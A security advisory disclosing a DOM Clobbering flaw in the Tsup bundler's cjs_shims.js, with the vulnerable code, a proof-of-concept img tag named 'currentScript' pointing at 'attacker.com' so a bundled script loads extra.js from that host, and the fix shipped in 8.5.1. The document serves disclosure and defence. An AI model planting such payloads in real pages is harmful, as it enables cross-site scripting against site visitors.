We identified a DOM Clobbering vulnerability in the Tsup bundler (version 8.3.4). The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
Note that, we have found similar issues in the other popular client-side bundler libraries, including Webpack (CVE-2024-43788) and Vite (CVE-2024-45812), which might be good references to this kind of vulnerability. Due to the popularity of Tsup among JavaScript projects, we believe it is important to make Tsup resilient against DOM Clobbering attacks.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Tsup will translate the import.meta.url to document.currentScript in cjs_shims.js to determine the URL of the current script.
// node_modules/tsup/assets/cjs_shims.js
var getImportMetaUrl = () => typeof document === "undefined" ? new URL(`file:${__filename}`).href : document.currentScript && document.currentScript.src || new URL("main.js", document.baseURI).href;
var importMetaUrl = /* @__PURE__ */ getImportMetaUrl();
This code is vulnerable because an attacker can inject an HTML element, such as <img name="currentScript" src="https://attacker.com">, which will be referenced as document.currentScript, setting importMetaUrl to the attacker's controlled URL.
To demonstrate this vulnerability, bundle the following JavaScript with Tsup and then use it on a webpage with an injected img element.
var s = document.createElement('script');
s.src = import.meta.url + 'extra.js';
document.head.append(s);
Example usage of the tsup bundled script:
<!-- Payload -->
<img name="currentScript" src="https://attacker.com/a"></img>
<!-- Payload -->
<!-- Library -->
<script src="dist/index.js"></script>
<!-- Library -->
In the example, the extra.js will be loaded from the attacker.com.
To prevent this issue, a simple fix would involve verifying that document.currentScript is a <script> element, ensuring only legitimate scripts are recognized:
var getImportMetaUrl = () => typeof document === "undefined" ? new URL(`file:${__filename}`).href : (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') ? document.currentScript.src : new URL("main.js", document.baseURI).href;
tsup release 8.5.1 has the above fix: https://github.com/egoist/tsup/releases/tag/v8.5.1